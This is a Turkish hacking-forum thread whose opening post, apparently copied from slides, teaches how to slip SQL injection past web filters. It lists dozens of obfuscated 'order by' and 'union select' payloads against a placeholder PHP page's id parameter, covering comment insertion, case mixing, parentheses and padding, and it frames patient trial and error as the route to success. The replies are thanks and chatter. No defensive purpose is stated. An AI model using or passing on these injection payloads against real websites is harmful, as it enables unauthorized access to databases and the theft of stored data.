  17. 36. Şimdi bunu nasıl bypass edeceğimizden bahsedelim. SQL injection bypasslarin de genellikle special chars dediğimiz özel karakterler devreye girer. Burada ki order by komutunu hep beraber bypass edelim www.sayfam.com/sayfa.php?id=1)+order+by--+ burada ki komutumuz da üstteki order by dan farklı olarak 1-2 özel karakter kullandık + ve ).. order+by+1—sonuna + koyduk id=1 değerinin başına da ) koyduk. Tekrar sorguyu çalıştırdığımızda sayfa eski haline dönecektir.Ayın şekilde ; www.sayfam.com/sayfa.php?id=1+/*!order*/+/*!by*/+1-- , www.sayfam.com/sayfa.php?id=1/**/order/**/by/**/1--, www.sayfam.com/sayfa.php?id=1+(order)+(by)+1-- , www.sayfam.com/sayfa.php?id=1+or/*!*/der+by+1-- , www.sayfam.com/sayfa.php?id=1+#order#+#by#+1-- şeklinde bypassler söz konusu olabilir. Kısaca hepsi aynı görevi görüyor, buradaki bypass sizin hayal gücünüze kalmıştır. b) Bu sefer de union select komutunu gerçekleşen aksi bir durum da nasıl bypass edeceğimizi göstereceğim.. Tekrar bir sayfa düşünmenizi istiyorum.. O değilde bir şeyleri düşünmenizi isteyince kendimi aref zannetim bir an Neyse şamatayı bırakalım işimize bakamlım tekrar bir site düşünelim; http://www.sayfam.com/sayfa.php?id=1’www.sayfam.com/sayfa.php?id=1’[/URL] koyduk sql hatamızı aldık, www.sayfam.com/sayfa.php?id=1+order+by+1-- yaptık eski haline döndü sayfamız. www.sayfam.com/sayfa.php?id=1+order+by+10-- yaptık hata aldık, 9 yaptık hata almadık kolon sayımız 9 … Şimdi ekrana kolon sayılarımızı yansıtma işlemine geçelim bunun için union select komutunu kullanacağız, www.sayfam.com/sayfa.php?id=1+union+select+1,2,3,4,5,6,7,8,9-- yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi.. Şimdi ne yapacağız? Tekrar aklımıza özel karakterlerimizi getirerek mantığa uygun bir biçimde bypass girişimlerini yapalım; Bir bypass da kullanabileceğimiz bazı karakter oluşumları;
  18. 37. //,--,/**/,#,-+,-- -/,;%00 Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz? İlk olarak; www.sayfam.com/sayfa.php?id=1+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9-- deneyelim.. Baktık ki sayfaya tekrar yansımadı. Burada pes etmeyeceğiz, demiştik sql injection lastik gibidir nereye çekerseniz oraya gider diye.. Hayal gücünüze göre karakterlerimizi tek tek yazalım ve tekrar sorgulatalım, bu iş için sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinç duygusunu tarif edemem www.sayfam.com/sayfa.php?id=-1+unIoN+/SeLecT+1,2,3,4,5,6,7,8,9-- , www.sayfam.com/sayfa.php?id=-1+//union//+//select//+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=-1+/union+/select+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=-1+(union+select+1,2,3,4,5,6,7,8,9--) www.sayfam.com/sayfa.php?id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9--+ www.sayfam.com/sayfa.php?id=-1+un/*!*/ion+se/*!*/lect+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=-1+union/*&a=*/select/*&a=*/1,2,3,4,5,6,7,8,9-- - www.sayfam.com/sayfa.php?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 Adet A's)+UnIoN+SeLeCT+1,2,3,4,5,6,7,8,9--+ www.sayfam.com/sayfa.php?id=1+UnioN+SELECT+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=1+(UnIoN)+(SelECT)+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=1+(UnIoN+SelECT)+1,2,3,4,5,6,7,8,9-- www.sayfam.com/sayfa.php?id=1+(UnI)(oN)+(Sel)(ECT)+1,2,3,4,5,6,7, 8,9-- www.sayfam.com/sayfa.php?id=1+'UnI//'on'+SeLeCt'+1,2,3,4,5,6,7,8,9-- şeklinde onlarca bypass teknikleri bulunmaktadır c) Evet arkadaşlar b) yan başlığında gördüğümüz üzere union select komutunu bypass ettik ve karşımıza kolon sayıları yansımıştır. Biz 4,6,9 sayılarının yansıdıklarını farz ederek devam edelim. Şimdi sırada group_concat komutunun bypass edilmesinde..
--------------------- 𐰤𐰀 𐰢𐰆𐱃𐰞𐰆 𐱅𐰇𐰼𐰚𐰇𐰢 𐰓𐰃𐰘𐰀𐰤𐰀
𐰲𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰖𐰀𐱁𐰀𐰢𐰀𐰖𐰀𐰣 𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰇𐰠𐰇𐰼
𐱃𐰆𐰺𐰀𐰣 𐰀𐰠𐰠𐰀𐰼 𐰉𐰀𐰺 𐰆𐰞𐰽𐰆𐰣 𐰀𐰞𐰞𐰀𐰴 𐱅𐰇𐰼𐰚𐰀 𐰖𐰀𐰺 𐰆𐰞𐰽𐰆𐰣
Konu ByKertenkele tarafından (19-09-2017 16:22 Saat 16:22 ) değiştirilmiştir. Sebep: rek değiştirmemi istediler
ByKertenkele - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Yaş:
99
Mesajlar:
1.169
Konular:
290
Teşekkür (Etti):
105
Teşekkür (Aldı):
167
Ticaret:
(0) %
19-09-2017 15:59
#2
Konu güncellencek
--------------------- 𐰤𐰀 𐰢𐰆𐱃𐰞𐰆 𐱅𐰇𐰼𐰚𐰇𐰢 𐰓𐰃𐰘𐰀𐰤𐰀
𐰲𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰖𐰀𐱁𐰀𐰢𐰀𐰖𐰀𐰣 𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰇𐰠𐰇𐰼
𐱃𐰆𐰺𐰀𐰣 𐰀𐰠𐰠𐰀𐰼 𐰉𐰀𐰺 𐰆𐰞𐰽𐰆𐰣 𐰀𐰞𐰞𐰀𐰴 𐱅𐰇𐰼𐰚𐰀 𐰖𐰀𐰺 𐰆𐰞𐰽𐰆𐰣
stranos - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Nereden:
İstanbul
Mesajlar:
846
Konular:
121
Teşekkür (Etti):
49
Teşekkür (Aldı):
84
Ticaret:
(0) %
19-09-2017 16:05
#3
eline sağlık teşekkürler
Lonelyman58 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Nereden:
Sivas
Mesajlar:
1.004
Konular:
105
Teşekkür (Etti):
106
Teşekkür (Aldı):
69
Ticaret:
(0) %
19-09-2017 16:07
#4
Teşekkürüm olsun eyw
firehackturk - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
08/2016
Nereden:
Distopya
Yaş:
23
Mesajlar:
9.748
Konular:
1230
Teşekkür (Etti):
5775
Teşekkür (Aldı):
2711
Ticaret:
(0) %
19-09-2017 16:10
#5
Harbiden başka yerde 'bulamassın'.
---------------------
Geri döndü pirinin piri

Eski ANKA moderatörü
RoboMasteR, ByKertenkele Teşekkür etti.
RoboMasteR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2017
Nereden:
Amsterdam
Mesajlar:
87
Konular:
5
Teşekkür (Etti):
13
Teşekkür (Aldı):
1
Ticaret:
(0) %
19-09-2017 16:14
#6
fire hack turke katılıyorum
--------------------- "Beklemesini bilenin her şey ayağına gelir "




AĞ VE YAZILIM GÜVENLİĞİ
Bade Perest - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2017
Yaş:
99
Mesajlar:
1.696
Konular:
137
Teşekkür (Etti):
365
Teşekkür (Aldı):
252
Ticaret:
(0) %
19-09-2017 16:16
#7
biraz renkli yapsaydım
ByKertenkele - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Yaş:
99
Mesajlar:
1.169
Konular:
290
Teşekkür (Etti):
105
Teşekkür (Aldı):
167
Ticaret:
(0) %
19-09-2017 16:19
#8
Alıntı:
bade perest´isimli üyeden Alıntı Mesajı göster
biraz renkli yapsaydım :d
rengarenk yapıyımmm :d
--------------------- 𐰤𐰀 𐰢𐰆𐱃𐰞𐰆 𐱅𐰇𐰼𐰚𐰇𐰢 𐰓𐰃𐰘𐰀𐰤𐰀
𐰲𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰖𐰀𐱁𐰀𐰢𐰀𐰖𐰀𐰣 𐰀𐰽𐰀𐰼𐰀𐱅𐰃𐰘𐰠𐰀 𐰇𐰠𐰇𐰼
𐱃𐰆𐰺𐰀𐰣 𐰀𐰠𐰠𐰀𐰼 𐰉𐰀𐰺 𐰆𐰞𐰽𐰆𐰣 𐰀𐰞𐰞𐰀𐰴 𐱅𐰇𐰼𐰚𐰀 𐰖𐰀𐰺 𐰆𐰞𐰽𐰆𐰣
King Kong - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Mesajlar:
2.398
Konular:
153
Teşekkür (Etti):
158
Teşekkür (Aldı):
427
Ticaret:
(0) %
19-09-2017 16:22
#9
Alıntı Olduğunu Baya Belli Ediyorsun...
Lonelyman58 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Nereden:
Sivas
Mesajlar:
1.004
Konular:
105
Teşekkür (Etti):
106
Teşekkür (Aldı):
69
Ticaret:
(0) %
19-09-2017 17:21
#10
Eline sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler